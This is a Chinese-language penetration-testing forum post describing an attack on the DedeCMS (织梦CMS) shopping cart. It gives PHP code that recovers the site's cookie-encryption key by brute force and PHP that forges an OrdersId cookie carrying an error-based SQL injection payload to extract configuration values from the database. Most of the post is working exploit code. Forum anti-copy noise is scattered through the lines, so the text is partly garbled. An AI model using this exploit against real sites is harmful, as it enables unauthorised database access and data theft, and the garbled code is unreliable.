中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
7 O5 O4 ?4 d# A0 o( a# W+ h在 include/shopcar.class.php中" \0 v& e- b; X6 _; J1 ~! U6 ?
先看一下这个shopcar类是如何生成cookie的4 X  q6 w& A$ _! X. U/ L
239      function saveCookie($key,$value). |% G- L  C) a* A1 C
240      {
, T2 e$ u! S0 U: t) I241          if(is_array($value))
& w+ L5 {# Z. D/ O: Q242          {4 Z  r6 N& N1 Z) I: A
243              $value = $this->enCrypt($this->enCode($value));3 z) P8 `% p! `! F
244          }
/ R6 x! J3 {$ z* q245          else9 h0 b- Z/ F# @  C/ g8 s
246          {
4 ~' j9 J6 S  a' i* S1 [) O247              $value = $this->enCrypt($value);
) W: g9 L0 ?) ~# [248          }
  D$ d* B* u  Q6 P9 y' b249          setcookie($key,$value,time()+36000,’/');
2 [/ T7 c1 Y$ J0 Y" {250      }
5 J  E& W, D2 `# x简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数  R# |4 f4 Y1 W9 c$ {+ S
186      function enCrypt($txt); a6 Z0 L/ v* L0 ]9 e
187      {
- m0 q% W. c0 u$ E- D5 i% S/ q188          srand((double)microtime() * 1000000);
9 T" O4 J7 S3 d3 n, f% u" `) ^) }189          $encrypt_key = md5(rand(0, 32000));, l* X3 j# y7 I9 v
190          $ctr = 0;
6 A) ?+ f6 o# P; _  `! N" _5 K+ U191          $tmp = ”;
4 F! }$ E9 \6 Q2 y: X192          for($i = 0; $i < strlen($txt); $i++)7 a5 f: I& ^& ?
193          {
. P; C7 v' g3 V, t194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- Z3 A/ o/ g( x0 a5 ], v195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);) G# ^6 T: k5 a' g8 x6 `# p" ^4 v
196          }
! D% q4 i3 X7 A2 ]" Y, x197          return base64_encode($this->setKey($tmp));
" A8 G6 P( R! |( `- `4 Q( K198      }" t: j; t7 ?4 \! K7 C+ _
213      function setKey($txt)
$ v" M  z$ w  |# O! n214      {
6 R2 E/ ^1 _, P9 {$ \4 d215          global $cfg_cookie_encode;
, w4 D! H  P4 N216          $encrypt_key = md5(strtolower($cfg_cookie_encode));/ S# w; [4 S. r7 E* D6 `
217          $ctr = 0;
5 b1 b$ Y- i7 ~' f; B- t218          $tmp = ”;; D5 T8 k4 [5 `+ @* `
219          for($i = 0; $i < strlen($txt); $i++)+ z4 E. L) D8 {: E9 m* _
220          {
0 d: Y$ N% X2 [* U221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, p) B1 a- S. E/ y6 b222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];' h; R9 @0 M0 d3 p
223          }$ B) U6 I( l" C- Z# k. t
224          return $tmp;
0 c5 V7 k% B& V4 V- d' p3 x- c2 _2 |225      }
# B7 ~0 o* [0 `/ m' X, ?8 ~enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
* [% W: Q0 U, {" b( R然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
; p' _0 }8 v: W8 H8 \# @3 x5 l具体代码如下:' U2 C2 C) s$ Q6 k: A$ R
<?php
8 O5 C- w0 E; E$ n0 v$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here6 C! D9 E; E  ~! u0 B
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
$ \+ R8 ~# ]2 v3 J# G# u7 k$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here" D* F. n7 N" j/ ~2 p( U
function reStrCode($code,$string)
' E0 l" `* o% `{+ _5 z, n* d8 y! v4 s
$code = base64_decode($code);
. h; W- g* y; C2 [6 D$key = “”;
- z* B9 _! |4 u9 Tfor($i=0 ; $i<32 ; $i++)
; z6 V/ e. |; L3 i' q& C{; `  `/ z1 b+ p6 D- m; I
$key .= $string[$i] ^ $code[$i];
8 K! j  o1 z7 ~5 Y}
! o4 l5 o2 j+ _  h/ Sreturn $key;- e( s) M4 s* {( Z$ b
}* G; y: f. e% V8 N# G) ?* h
function getKeys($cookie,$plantxt)
2 w1 b$ N# J2 D. r- X9 G{
, D1 W( ]) r% z% ^$tmp = $cookie;
* _/ w# n9 U, s3 P( K9 b$results = array();
: d2 z6 ]* c' L! A3 S5 Gfor($j=0 ; $j < 32000; $j++)
- C5 B. s1 y  m& n  N/ t, [6 e+ \{3 c) U; T7 `3 B1 w4 z
, J7 `" A2 I) l
$txt = $plantxt;- `) W1 I- _% R& O0 e
$ctr = 0;
( V2 A! T1 C6 I+ Q+ s7 t$tmp = ”;& P/ \1 e  B1 i1 B0 y& h
$encrypt_key = md5($j);
0 l* F. z# W; H9 kfor($i =0; $i < strlen($txt); $i ++)
& t: T7 }) p9 e3 |0 j{
( p8 Q# Z9 H) M& I& H$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 n% G: _) v2 \( Y, Y$ _$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! ~; V) W: G" s+ J# r
}
: i( R1 S$ T# B# |. T$string = $tmp;
4 ]6 h  v# _# M5 p4 ?+ S/ N, L$code = $cookie;+ W/ z- s) y: Z5 S3 d
$result = reStrCode($code,$string);8 g$ i0 ^1 k+ n/ k
if(eregi(‘^[a-z0-9]+$’,$result)); F1 v* ~# M/ @" o! R* _
{7 F* @! Q2 f! @7 {
echo $result.”\n”;
1 }7 [  G% {7 f, f$results[] = $result;1 ~) y# n2 g% k- z" Y
}
0 G4 I# P- N9 v" Y: ]* ~}
% l# s7 J/ F7 X& a3 {9 treturn $results;0 ]8 z+ e' N8 Z  z" w9 x: {
}. n# J. `7 f5 G" {- L
$results1 = getKeys($cookie1,$plantxt);, W' r: M% ]3 [# ?- Z
$results2 = getKeys($cookie2,$plantxt);' ]- e  B; c$ R. E. T# s  e$ u
print “\n——————–real key————————–\n”;$ j8 B( e6 r+ D* _/ G/ i% t$ k
foreach($results1 as $test1), `( W  X. C/ V! Q  b6 {/ `
{
8 u" y$ E' H9 J. Z& }$ `+ `foreach($results2 as $test2)
7 m! i4 n0 s# J7 {7 z0 `{- I  W8 A" t. ~: I7 o4 k
if($test1 == $test2)
$ _! @/ [( ?1 \8 D( h3 a{
: p& X7 N4 X4 k$ |6 {+ xecho $test1.”\n”;- Z6 E7 [, o% c0 `& w/ m! `
}
/ e' O; f7 P% X5 ]7 }+ }}3 ^0 E2 R  l( \& F+ Z" D& F
}
( {# A% N/ A& }3 C9 A0 T& b+ |. m& J?>
) `# \+ Q& P7 k7 ]3 acookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
& I% i1 q$ |# U4 A! P1 Lplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua10 a( {( x" W& v, R; ?# f; B0 w+ s
然后推算出md5(strtolower($cfg_cookie_encode))
" z' ?8 j& \# P6 G得到这个key之后,我们就可以构造任意购物车的cookie/ J. D7 x: s; f) b& h
接着看
, E+ k5 _% B2 Q4 |) ]20  class MemberShops
8 b' P- w# Y+ [8 L3 V21  {9 c' F; ~1 o# H
22      var $OrdersId;
0 k) y8 J% G  Z" @- o23      var $productsId;8 ~& j* ?" A7 {$ l; H2 ]& ?, N
24
  w5 M3 ^+ }, K" u% H6 W% r25      function __construct()  R. x  E! P# h5 q" Y# A
26      {1 g2 Y) R+ T. z2 p+ f9 ~4 f5 f
27          $this->OrdersId = $this->getCookie(“OrdersId”);9 U  z8 }+ s8 x2 p, m
28          if(empty($this->OrdersId))
; k9 A' z) Z5 G" d" e29          {
3 g- J5 s) O( Z, d" G  Y30              $this->OrdersId = $this->MakeOrders();
% ]" f# s2 v6 {) t31          }
, Z5 X: h8 u$ Q; a5 z6 {  ~5 J32      }
6 S8 F3 Z9 U( {& X  _7 h7 @( H发现OrderId是从cookie里面获取的. D# W+ Q' e( e( D9 ^
然后9 v! m& \4 u( A9 e
/plus/carbuyaction.php中的% A( t) A6 ^) {: N$ }2 N
29      $cart    = new MemberShops();
/ d# R1 j: N  w& j% m" }: |39      $OrdersId = $cart->OrdersId;        //本次记录的订单号1 v2 b: \& n8 M. b2 L( g% K& i# Z
……
! Y* l; ]" a0 ^8 z$ D173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
7 J. @" Z  v2 `1 I8 y6 u接着我们就可以注入了) y' P8 |0 c& K, Z% Y/ ?/ S
通过利用下面代码生成cookie:
  q. S& {' R$ e<?php
* l% w& }4 C0 q5 f) I8 L$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;6 L+ A7 T) p- S. O7 v; K( Y7 n9 R3 U
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
6 N7 _+ c+ l" a! a9 Kfunction setKey($txt)5 I% g4 L! f, _- c! ]7 W, u. E+ ?
{' T! ?  l  v9 c* L: c/ T3 e
global $encrypt_key;
4 m' z1 z% r% {. ~* ?% C; t2 [$ctr = 0;
  c( y+ v: }% n9 ^. V$tmp = ”;
# p1 M8 ]7 x+ u5 r5 N1 xfor($i = 0; $i < strlen($txt); $i++)
6 v5 u# }* x" v3 r# x/ x. I% e7 d, D2 Q3 v{
$ [. ?' o- I$ d/ Y3 G$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# N" P3 I$ g% B4 T: g$ b  p$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];* z- F* p+ ~- Y" Y3 H
}3 W- u2 [7 A/ u0 i7 X0 s
return $tmp;3 n' i9 H- k& D
}
4 j3 q  \/ F1 M" m) f$ M5 Gfunction enCrypt($txt)0 W$ }2 R0 h7 E, B( ~' U0 y9 w6 v
{+ [4 C- ~$ C! b9 ]' y
srand((double)microtime() * 1000000);7 X; D8 j1 d6 R( v4 [, p
$encrypt_key = md5(rand(0, 32000));
- X8 o4 E8 h! @' w6 F% I0 o$ctr = 0;
* Y; X4 j5 g8 t+ n$tmp = ”;3 l% O9 u0 E$ T& K* \' ~5 c* h
for($i = 0; $i < strlen($txt); $i++)
0 B" j" V% @: P. j{
% m: i2 z3 W% u/ X: Y' \& h! G* Q+ T/ s$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ P/ y, Q; P" X) @7 _7 c8 s1 M/ r$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
$ f8 d8 {7 M2 s' h4 m5 G}9 v' _) j+ h: q4 W8 a
return base64_encode(setKey($tmp));0 P- u2 [7 ?/ @- p0 k! v
}
$ D8 @. n" B( R/ T$ s: h& k7 ]for($dest =0;$dest = enCrypt($txt);)
3 W5 G' h+ |! i: x- u{" v) A/ X/ |& b& r0 j5 K
if(!strpos($dest,’+'))
% z* D7 R9 e# e$ E- I1 b0 k* w{
, p1 S* [( ~1 K: w4 u' D  W' abreak;
  G4 A. O6 L: E5 C4 V}
' m* T) S( ^0 m" z8 [9 c1 G+ _}
$ N. d, M5 R$ i3 P' |* `; ]echo $dest.”\n”;* i! f1 j0 N* X, w0 K
?>2 L6 M* r; A4 S
9 Z3 e7 ^- A- a4 a0 P5 G/ Q& J, _





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2